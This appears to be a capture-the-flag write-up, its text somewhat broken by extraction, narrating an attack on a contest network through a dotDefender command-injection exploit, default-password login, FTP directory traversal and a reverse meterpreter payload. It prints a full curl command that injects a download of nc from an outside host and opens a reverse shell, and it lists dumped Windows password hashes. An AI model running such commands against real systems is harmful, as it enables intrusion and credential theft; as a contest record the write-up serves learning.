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When first presented with the Noob Filter, the most important 

thing to note was that attempting injection presented you with 

a page that contained data that lead to its exploitation. 

When injections were attempted, you were shown another 

page that contained "Applicure" and "block request" in the title 

as well as other corroborating evidence in the metadata when 

the source was viewed. When googling "Applicure" you are 

taken to the website which advertises "dotDefender Proactive 

Web Application Security. From this we can infer that, it is 

being used to stop the injection requests. From this point it is 

logical to search on http://www.exploit -db.com and see if there 

are any vulnerabilities. 

That search leads us to this (http://www.exploit -
db.com/exploits/10261 ) exploit. Note that it says it is 
functional "After passing the Basic Auth 

login " . This means that the next step is to bypass the login, 
which also includes finding the login. Another quick search 
leads us to the user manual for dotDefender 
(http://www.dedicatednow.com/files/dotDefender_Apache_In
stallation_Guide.pdf ). On page 8 we can clearly see where to 
try and login 
 "launch the administration GUI at the 

following URL: 

http://<hostname>/dotDefender / "  
 



After browsing to this address, you are presented with a login 

prompt that specifically states "use 'admin' " as the user name. 

This limits the possibilities. After a few basic, manual, guesses 

of the password, you find out that the password is "password". 

From this point, the exploit is functional and could be used to 

retrieve the secret code to progress into phase 2. The actual 

code ran was " curl -- socks4 127.0.0.1:9050 

htt p://admin:password@www1.noob -

filter.com/dotDefender/index.cgi  -- data 

'sitename=dotdefeater&deletesitename=dotdef

eater;curl - s - o /tmp/rrts  

dynamicAddyT oMe/nc  ; chmod 755 /tmp/rrts ; 

/tmp/rrts - e /bin/sh  dynamicAddyT oMe 

;&action=deletesite&linenum=15 '   " 

 

Once in the vpn the first thing was to run a scan on the permitted 

addresses.  We notice at this point that .70 has an ftp server 

which we actually have credentials for, so login and try a few 

basic things, and search for anything useful. When nothing is 

available, we return to our scan for further information 

gathering. Viewing the other services shows possible vulnerable 

versions of various implementations of surgemail. The 

information most useful is when you connect to port 14982 and 

are presented with  

"  220 - Complete FTP Admin  

http://www.google.com/url?sa=D&q=http%3A%2F%2Fadmin%3Apassword%40www1.noob-filter.com%2FdotDefender%2Findex.cgi
http://www.google.com/url?sa=D&q=http%3A%2F%2Fadmin%3Apassword%40www1.noob-filter.com%2FdotDefender%2Findex.cgi
http://www.google.com/url?sa=D&q=http%3A%2F%2Fhome.dorkfire.com%3A8080%2Fnc
http://www.google.com/url?sa=D&q=http%3A%2F%2Fhome.dorkfire.com%3A8080%2Fnc
http://www.google.com/url?sa=D&q=http%3A%2F%2Fhome.dorkfire.com%3A8080%2Fnc


220 Admin v 3 .3. 0"  

Since we have already been given credentials to this, a search 
of exploit-db is intelligent because the chance of exploitation 
can be more likely as many ftp exploits can often require them. 
That seacrh actually leads us to a directory traversal exploit 
(http://www.exploit -db.com/exploits/11973 ). When using this 
exploit recursively, we are able to reach the root of the C:\  
drive and we are still able to get and put files. From this point, a 
reverse meterpreter execuatble payload was placed in the 
scripts directory of the webserver so that it could be called by 
browsing to the file. 

 



 

 

This escalated privileges to System and allowed the retrieval of 
the secret key from the Administrator's desktop.  



 

Also the hashes were dumped so they could be cracked for 
potential later use. (only Administrator and devil were loaded) 

Administrator:500:aad3b435b51404eeaad3b435b51404ee:07e
aa2b600669980aa3268fd8cc3f0e5::: 

devil:1001:aad3b435b51404eeaad3b435b51404ee:3cc3bac4b3
7e26d8208469533c59e2c6::: 

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1
6ae931b73c59d7e0c089c0::: 



 

From here the initial webpage on ghost was viewed and 

scanned with nikto and w3af. After turning up nothing useful, a 

ftp bounce scan was conducted through the killthen00b 

machine which returned  

Interesting ports on 192.168.6.66:  

PORT STATE SERVICE 

1723/tcp open pptp  

8888/tcp open sun - answerbook  

MAC Address: 00:50:56:BC:45:49 (VMWare )   


